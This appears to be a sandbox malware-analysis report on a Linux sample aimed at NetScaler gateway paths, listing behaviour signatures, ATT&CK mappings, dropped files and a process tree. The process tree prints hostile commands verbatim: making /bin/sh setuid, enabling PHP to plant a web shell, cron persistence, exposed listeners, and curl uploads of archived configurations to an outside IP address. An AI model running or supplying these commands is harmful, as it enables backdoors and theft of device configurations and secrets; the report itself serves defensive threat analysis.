2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7

Analysis

max time kernel
21s
max time network
22s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03/10/2026, 11:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
Size 24KB
Sample261003-nvrlysys9l
SHA256 2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7
MD5 a7fe433d8982d52cabb09c8b5c9386a9
SHA1 c0629d26fea48597d5a65fe41499cc7a08e77341
SHA512 c287d3bafa45476887b82b25866aa42e856ef853bcc3acb33d0598284412c5d312328562b4a4a8b963cbb91ba08d1bdd01ec67ba3127df86fb372362cb74dc47
SSDEEP 768:CFxadn2345FPWdWmS1nwuxli8o7TUILRyUKtvZC17:CQ2I5FPWdPSNwuxli8o80RyhvZ07
TLSH
T18EB2EBC17C7E5DB583D7C47CEB96E442B7666807100A2464B9BCA3AC6F68434D2F1AE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.87Mxsm	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
1578	sh
1582	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/35/status	ps
File opened for reading	/proc/187/status	ps
File opened for reading	/proc/1283/status	ps
File opened for reading	/proc/1505/status	pkill
File opened for reading	/proc/81/stat	ps
File opened for reading	/proc/288/cmdline	ps
File opened for reading	/proc/1017/status	ps
File opened for reading	/proc/1368/cmdline	ps
File opened for reading	/proc/20/cmdline	ps
File opened for reading	/proc/1050/status	ps
File opened for reading	/proc/193/cmdline	pkill
File opened for reading	/proc/726/status	pkill
File opened for reading	/proc/930/cmdline	pkill
File opened for reading	/proc/447/status	ps
File opened for reading	/proc/450/status	ps
File opened for reading	/proc/190/status	pkill
File opened for reading	/proc/1026/status	pkill
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/177/status	ps
File opened for reading	/proc/571/cmdline	ps
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/1080/cmdline	pkill
File opened for reading	/proc/83/cmdline	pkill
File opened for reading	/proc/509/cmdline	pkill
File opened for reading	/proc/2/cmdline	ps
File opened for reading	/proc/89/status	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/472/cmdline	ps
File opened for reading	/proc/1322/status	pkill
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/505/stat	ps
File opened for reading	/proc/733/stat	ps
File opened for reading	/proc/1026/cmdline	ps
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/1348/cmdline	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/178/status	pkill
File opened for reading	/proc/678/cmdline	pkill
File opened for reading	/proc/288/status	pkill
File opened for reading	/proc/1193/cmdline	pkill
File opened for reading	/proc/79/stat	ps
File opened for reading	/proc/82/cmdline	ps
File opened for reading	/proc/1480/cmdline	ps
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/184/status	pkill
File opened for reading	/proc/1017/cmdline	pkill
File opened for reading	/proc/32/status	pkill
File opened for reading	/proc/994/cmdline	pkill
File opened for reading	/proc/11/stat	ps
File opened for reading	/proc/1116/status	ps
File opened for reading	/proc/35/cmdline	pkill
File opened for reading	/proc/354/status	pkill
File opened for reading	/proc/1178/status	pkill
File opened for reading	/proc/997/status	ps
File opened for reading	/proc/1169/status	ps
File opened for reading	/proc/191/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/1092/cmdline	ps
File opened for reading	/proc/1368/stat	ps
File opened for reading	/proc/86/cmdline	pkill
File opened for reading	/proc/447/status	pkill
File opened for reading	/proc/1126/status	pkill
File opened for reading	/proc/23/cmdline	ps

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1561	pkill
1578	sh
1579	gzip
1582	sh
1583	gzip

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown

/tmp/2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
/tmp/2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
1⤵
- Writes file to tmp directory
PID:1513
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:1514
- /bin/cat
  cat
  2⤵
  PID:1516
- /bin/cat
  cat
  2⤵
  PID:1517
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  PID:1518
- /bin/cat
  cat
  2⤵
  PID:1520
- /bin/cat
  cat
  2⤵
  PID:1523
- /bin/cat
  cat
  2⤵
  PID:1525
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:1526
- /bin/cat
  cat
  2⤵
  PID:1527
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:1528
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  PID:1529
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  PID:1530
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  PID:1531
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:1532
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:1533
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:1534
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:1535
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:1537
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:1538
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:1539
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  PID:1540
- /bin/cat
  cat
  2⤵
  PID:1542
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:1543
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:1544
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:1545
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:1547
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1546
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:1553
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:1554
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:1552
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:1552
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1555
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:1556
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:1557
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  PID:1558
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1560
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1561
- /bin/date
  date -u
  2⤵
  PID:1564
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:1563
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:1562
- /usr/bin/id
  id
  2⤵
  PID:1565
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:1563
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:1562
- /bin/uname
  uname -a
  2⤵
  PID:1567
- /bin/ls
  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
  2⤵
  PID:1568
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:1569
- /usr/bin/tail
  tail -n 80
  2⤵
  PID:1571
- /bin/grep
  grep -in php /etc/httpd.conf
  2⤵
  PID:1570
- /bin/sed
  sed -n "1395,1425p" /etc/httpd.conf
  2⤵
  PID:1572
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error_log
  2⤵
  PID:1573
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error.log
  2⤵
  PID:1574
- /usr/bin/tail
  tail -n 40 /var/log/ns.log
  2⤵
  PID:1575
- /bin/mkdir
  mkdir -p /var/tmp/.s2loot
  2⤵
  PID:1576
- /bin/tar
  tar czf /var/tmp/.s2loot/nsconfig.tgz .
  2⤵
  PID:1577
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:1578
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:1579
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/906b4f/loot_nsconfig.tgz
  2⤵
  PID:1580
- /bin/tar
  tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
  2⤵
  PID:1581
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:1582
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:1583
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/906b4f/loot_nshist.tgz
  2⤵
  PID:1584
- /bin/rm
  rm -rf /var/tmp/.s2loot
  2⤵
  PID:1585
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/906b4f/loot_httpd.conf
  2⤵
  PID:1586
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/906b4f/loot_diag.txt
  2⤵
  PID:1587

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 2KB
SHA256 cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd
MD5 88145975b4c7f28158926fc2d263876f
SHA1 cf754aac1af84fc2001057ad75560b31f66c1b1b
SHA512 f892e2437d1ec9acbca7353ba0bce3f66e33410bfb7975f8fa54c504f7169b8a9bd7785e55ce0f3a216c44fe0b4befe0c6ea5d4e778936ba8c6eed5694093bf1
TLSH
T1A55169F3B41D4EF61AD98BFC739C9285ABD4D09E286534A1F544B328946814CF4E29B8
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.87Mxsm

Path /var/spool/cron/crontabs/tmp.87Mxsm
Size 278B
SHA256 e5ab446fba83e4dac3d0270ed17e5eefd28c603de54783753c1bce2f38f9320c
MD5 e0022bb59723325fcff6aca4b357c6ed
SHA1 dc7fac0beac4ca0957de132eae675a9353b9b6c8
SHA512 f5ca554993c5515cfac7c048605526dd83e7304649de118cf718245657f77bcef09c7599f38c5b3d1e67d7d86e2e069af0758c5b584ec3f54e15a7ff411a2a76
TLSH
T1CED02B3A6A04EDB74A4907B892DB383DAD41D17C5C0A4E11F08DA054951D34F3F71851
MD5 SHA1 SHA512 TLSH

Submit Download

hist.tgz

Path /var/tmp/.s2loot/hist.tgz
Size 45B
SHA256 ccfe78da2a482b284bc89aeb2e839d92669f1ab21fbd09538a769811d0333fe4
MD5 18c76d61db577b0728004f2eac4e03ab
SHA1 8676a4950336fb3cfac52e73f79c70e7a2e41bc9
SHA512 460aef7c3c4a2f9669a85469da3ff2783bd37790bab32eebcd1f7659808c29f5db0a520e3f3bf22388c1f8066b9ba29ef2109298f9004ef1e20453a09630e70c
MD5 SHA1 SHA512

Submit Download

nsconfig.tgz

Path /var/tmp/.s2loot/nsconfig.tgz
Size 2KB
SHA256 8408bd1f518a6250296486d2ee19e8bd25cd2f10a382d424802e125241999647
MD5 f584f283d7d639dd1820572b89b8d334
SHA1 7a41446b8bbe5125d92422cbb85871a1a91077f3
SHA512 ba484b2c8a4ec031b9f096b621d8e390f00b281d9fa1e883580bd7c7b0008c2763b265207b8af0edcd211979d5be1445c112175c83e934865623a3f7b72ad110
TLSH
T17E515B10E40F47C93FEB18113E6A4294B254753A0E779A94A2F1CF4F1E14711EFC4E9A
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 31762bfa2b31bed2e919a908a49249371c72c11ac54d4ae994951740d187d600
MD5 50dc1f763e80eff78e2c498ab0a59de1
SHA1 ca5d72874f34ccc67e4656a44efc8be30fba36be
SHA512 6f93782f445dccd80fad62fbb5baad7c6cbab9f799afa1299de70b6322b5bc6d3e9d6be77279904e36ed7e693aeea4a86fdbb3aa624668e21faba8578ca6890b
TLSH
T1D19002B151846A25142B54C779C59C09122994A9045E9561A521C3A546810170B4A511
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 93B
SHA256 ba24009dea03c2b604fc61036b4f34aaaf15d7803ff9112a015a9bf4a965ba01
MD5 00fa1e115677ce8fa40a75b4d4282cea
SHA1 1e16f40941f00802e6f95b8ed2f382ae6813c16a
SHA512 033cfe9bd50de5bc6e6a94d4fa64b17beb0bae570c4cb2508b6c22d1e9080bbbc1adfefd45033d4aef0f07b746de65f129074f4f731179be54f8c2f6771ae2a3
TLSH
T1E5B0127002906512202780D6F4E04CCB1237D894025A7C10BB50C393414010B1746001
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 226B
SHA256 125cdab8995f4c71aad2ec28f0ffdc9bcc611d5be54fa1b7aa548acf1cdc1875
MD5 164d2db63c3d710e2b0000d4b683e3d9
SHA1 22c6c87c956587fed5e93451efd2d97dc546cae9
SHA512 b49de2b3a81467c74cc9d5c282d5b205fbe24b509adfcb50ee2afc89ed02bf53172974b0e980005ecbe09cd3f4af99e479c0b4937d7e1fcf5e4e28c840b98dd6
TLSH
T1C7D0A77326706623264BD0C6F0EE6CAE122F80622295FC54767182FA084931F179D841
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 250B
SHA256 151a9be64aa09a8a53b960bf36d212f40f4cf524b43a1e7f058bad70848edce0
MD5 4a768fe92e265e6aa3f36ef623aa97ed
SHA1 e5c6d4af3bf869cbab772226fcfa82a6edf85ed0
SHA512 16c112e9e1f8f0314a696fa676111ea2f140a5e156029aa6aa61b2dead8fc8ff677fc7749f5d76e4a8d6f5c8958dc016b7c5392f07fc8208372649caeefcc3bd
TLSH
T151D02B73367095232647D0C7F0EE686E012B80A11155FC14317082E6084831F2759541
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 877B
SHA256 fb161f0135d28e4df6f2fe08a9b7fd460c77e2786dadb664e64d32d2d8a29d38
MD5 89bf4859cd1ab12679802025185b26b4
SHA1 cca05fdb7079411a2243b96a945da8585d861412
SHA512 ef84fdc94f446739ad59ef13972ecf9fb7dcef82ed103016a7fac37d2e451995cca66381e5cfca34aa360712be0058e9f2f484fb70204cbd4f1a0ab0acd939ce
TLSH
T16A11E3E77C1AE23B13D2CDF6A8DE07E5416280670D4E7EA45AD5F224C4062D61FD350D
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 185B
SHA256 124dcd66bfa2793e9e36c9c652a524838d0e8c835d03bd1835048d73b8c638e9
MD5 2ac408710810fc78cf374b59e456e4f8
SHA1 d0d3ebd3f3bb42a88cd9b93fd4a6fdc818e65742
SHA512 22e1b6a850ce937b2fa3f741de0d3e6aaf2ef02942214ecc96eef0d3cdf120076b2fa35f2304fc914719790d6cbceae559ef41a98766286813e41932c986672b
TLSH
T107C012FC35038A3D23C204E105D92BEA8190430389C475E28294B530C4867B02BB745F
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path /var/tmp/.ux/agent.log
Size 56B
SHA256 cccf66c396b3b9c2a1766a59f1588f8bcf56397e37f30380d6a65c6b6b151d15
MD5 4d9520b45a43e39033b07fad3292ae8d
SHA1 8fa06bc6c3d32afa57d99bcb8d915d84a29ac11c
SHA512 ce41dbc62333e379a96117f8e4c87307b8653aee1e16821f2d083326b26b7bb346934d759770c38695edca0e54eeda526b5973545dc91f150d4322bd05c66c1d
TLSH
T1ED9002261850959E15E1834B726952EBED01D603425924106A99044140A54114536850
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads